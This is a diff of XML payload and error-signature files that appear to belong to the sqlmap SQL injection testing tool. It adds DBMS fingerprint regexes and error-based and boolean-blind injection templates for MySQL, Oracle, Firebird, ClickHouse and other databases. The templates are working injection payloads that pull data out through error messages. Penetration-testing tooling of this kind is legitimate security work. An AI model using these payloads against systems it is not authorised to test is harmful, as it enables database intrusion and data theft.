<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>)'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<boundary>
|
||||
<level>5</level>
|
||||
<clause>1</clause>
|
||||
<where>1,2</where>
|
||||
<ptype>8</ptype>
|
||||
<prefix>>'</prefix>
|
||||
<suffix>[GENERIC_SQL_COMMENT]</suffix>
|
||||
</boundary>
|
||||
<!-- End of alternative quoted string boundaries -->
|
||||
</root>
|
||||
|
||||
+26
-1
@@ -2,6 +2,9 @@
|
||||
|
||||
<root>
|
||||
<dbms value="MySQL">
|
||||
<error regexp="org\.apache\.doris\." fork="Doris"/>
|
||||
<error regexp="com\.starrocks\." fork="StarRocks"/>
|
||||
<error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
|
||||
<error regexp="SQL syntax.*?MySQL"/>
|
||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||
<error regexp="MySQLSyntaxErrorException"/>
|
||||
@@ -24,6 +27,15 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="PostgreSQL">
|
||||
<error regexp="crdb_internal\." fork="CockroachDB"/>
|
||||
<error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
|
||||
<error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
|
||||
<error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
|
||||
<error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
|
||||
<error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
|
||||
<error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
|
||||
<error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
|
||||
<error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
|
||||
<error regexp="PostgreSQL.*?ERROR"/>
|
||||
<error regexp="Warning.*?\Wpg_"/>
|
||||
<error regexp="valid PostgreSQL result"/>
|
||||
@@ -203,6 +215,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Presto">
|
||||
<error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
|
||||
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||
<error regexp="io\.prestosql\.jdbc"/>
|
||||
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||
@@ -228,7 +241,12 @@
|
||||
<error regexp="io\.crate\."/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="Cache">
|
||||
<dbms value="Cubrid">
|
||||
<error regexp="\[CAS INFO"/>
|
||||
<error regexp="cubrid\.jdbc\.driver"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="InterSystems Cache">
|
||||
<error regexp="encountered after end of query"/>
|
||||
<error regexp="A comparison operator is required here"/>
|
||||
</dbms>
|
||||
@@ -256,4 +274,11 @@
|
||||
<dbms value="Spanner">
|
||||
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
|
||||
</dbms>
|
||||
|
||||
<dbms value="SAP HANA">
|
||||
<error regexp="SAP DBTech JDBC"/>
|
||||
<error regexp="invalid number: not a valid number string"/>
|
||||
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
|
||||
<error regexp="inserted value too large for column"/>
|
||||
</dbms>
|
||||
</root>
|
||||
|
||||
@@ -1109,46 +1109,6 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</vector>
|
||||
<request>
|
||||
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END))</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL boolean-based blind - ORDER BY, GROUP BY clause</title>
|
||||
<stype>1</stype>
|
||||
@@ -1445,27 +1405,6 @@ Tag: <test>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL < 5.0 boolean-based blind - Stacked queries</title>
|
||||
<stype>1</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1-8</clause>
|
||||
<where>1</where>
|
||||
<vector>;SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</vector>
|
||||
<request>
|
||||
<payload>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</payload>
|
||||
<comment>#</comment>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>;SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.PLUGINS) END)</comparison>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>< 5.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>PostgreSQL boolean-based blind - Stacked queries</title>
|
||||
<stype>1</stype>
|
||||
|
||||
@@ -2,6 +2,88 @@
|
||||
|
||||
<root>
|
||||
<!-- Error-based tests - WHERE, HAVING, ORDER BY or GROUP BY clause -->
|
||||
<!-- GTID_SUBSET before EXTRACTVALUE: its error reflects ~200 chars vs ~31, so far fewer requests -->
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- UUID_TO_BIN backup (MySQL 8.0+, exclusive): ~128-char echo vs EXTRACTVALUE's ~31 if GTID_SUBSET is filtered -->
|
||||
<test>
|
||||
<title>MySQL >= 8.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UUID_TO_BIN)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 8.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 8.0 OR error-based - WHERE or HAVING clause (UUID_TO_BIN)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=UUID_TO_BIN(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 8.0</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||
<stype>2</stype>
|
||||
@@ -51,46 +133,6 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,8,9</clause>
|
||||
<where>1</where>
|
||||
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||
<request>
|
||||
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
<dbms_version>>= 5.6</dbms_version>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title>
|
||||
<stype>2</stype>
|
||||
@@ -608,7 +650,7 @@
|
||||
<test>
|
||||
<title>Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
@@ -628,7 +670,7 @@
|
||||
<test>
|
||||
<title>Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)</title>
|
||||
<stype>2</stype>
|
||||
<level>2</level>
|
||||
<level>4</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
@@ -686,7 +728,7 @@
|
||||
<test>
|
||||
<title>Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<level>2</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>1</where>
|
||||
@@ -705,7 +747,7 @@
|
||||
<test>
|
||||
<title>Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)</title>
|
||||
<stype>2</stype>
|
||||
<level>4</level>
|
||||
<level>2</level>
|
||||
<risk>3</risk>
|
||||
<clause>1,9</clause>
|
||||
<where>2</where>
|
||||
@@ -728,9 +770,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<!-- BIN_SHL (Firebird-exclusive) encloses the value-bearing BIGINT cast: reflects on Firebird, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>AND [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -747,9 +790,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS BIGINT),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>OR [RANDNUM]=BIN_SHL(CAST('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN 1 ELSE 0 END FROM RDB$DATABASE)||'[DELIMITER_STOP]' AS BIGINT),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -766,9 +809,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<!-- ms_trunc (MonetDB-exclusive) encloses the value-bearing DECIMAL cast: reflects on MonetDB, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>AND [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -785,9 +829,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<vector>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST(([QUERY]) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=('[DELIMITER_START]'||(SELECT CASE [RANDNUM] WHEN [RANDNUM] THEN CODE(49) ELSE CODE(48) END)||'[DELIMITER_STOP]')</payload>
|
||||
<payload>OR [RANDNUM]=(SELECT ms_trunc(CAST('[DELIMITER_START]'||CAST((SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) AS VARCHAR)||'[DELIMITER_STOP]' AS DECIMAL),1))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -804,9 +848,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<!-- ZEROIFNULL (Vertica-exclusive) encloses the value-bearing NUMERIC cast: reflects on Vertica, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
<payload>AND [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -823,9 +868,9 @@
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
|
||||
<vector>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC)</payload>
|
||||
<payload>OR [RANDNUM]=ZEROIFNULL(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN BITCOUNT(BITSTRING_TO_BINARY('1')) ELSE BITCOUNT(BITSTRING_TO_BINARY('0')) END))::varchar||'[DELIMITER_STOP]' AS NUMERIC))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
@@ -835,6 +880,123 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>InterSystems Cache AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- TO_POSIXTIME (Cache/IRIS-exclusive) encloses TO_DATE, whose "Invalid input" error echoes the evaluated value -->
|
||||
<vector>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>InterSystems Cache</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>InterSystems Cache OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]','YYYY'))</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=TO_POSIXTIME(TO_DATE('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]','YYYY'))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>InterSystems Cache</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- INET_ATON echoes its evaluated arg on a bad address; error-confirms only on CUBRID (MySQL returns NULL, others lack it) -->
|
||||
<vector>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>CUBRID OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=INET_ATON('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Cubrid</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Virtuoso AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1</clause>
|
||||
<where>1</where>
|
||||
<!-- bit_shift (Virtuoso-exclusive) encloses the value-bearing INTEGER cast: reflects on Virtuoso, fails to bind elsewhere -->
|
||||
<vector>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Virtuoso</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Virtuoso OR error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>3</risk>
|
||||
<clause>1</clause>
|
||||
<where>2</where>
|
||||
<vector>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INTEGER),1)</vector>
|
||||
<request>
|
||||
<payload>OR [RANDNUM]=bit_shift(CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)||'[DELIMITER_STOP]' AS INTEGER),1)</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>Virtuoso</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
|
||||
<stype>2</stype>
|
||||
@@ -911,6 +1073,26 @@
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<!-- getSetting backup (ClickHouse-exclusive, unlimited echo, funky/unlikely-filtered) -->
|
||||
<test>
|
||||
<title>ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (getSetting)</title>
|
||||
<stype>2</stype>
|
||||
<level>5</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=getSetting('[DELIMITER_START]'||CAST(([QUERY]) AS String)||'[DELIMITER_STOP]')</vector>
|
||||
<request>
|
||||
<payload>AND [RANDNUM]=getSetting('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]')</payload>
|
||||
</request>
|
||||
<response>
|
||||
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>ClickHouse</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST)</title>
|
||||
<stype>2</stype>
|
||||
@@ -918,9 +1100,10 @@
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,9</clause>
|
||||
<where>1</where>
|
||||
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT)</vector>
|
||||
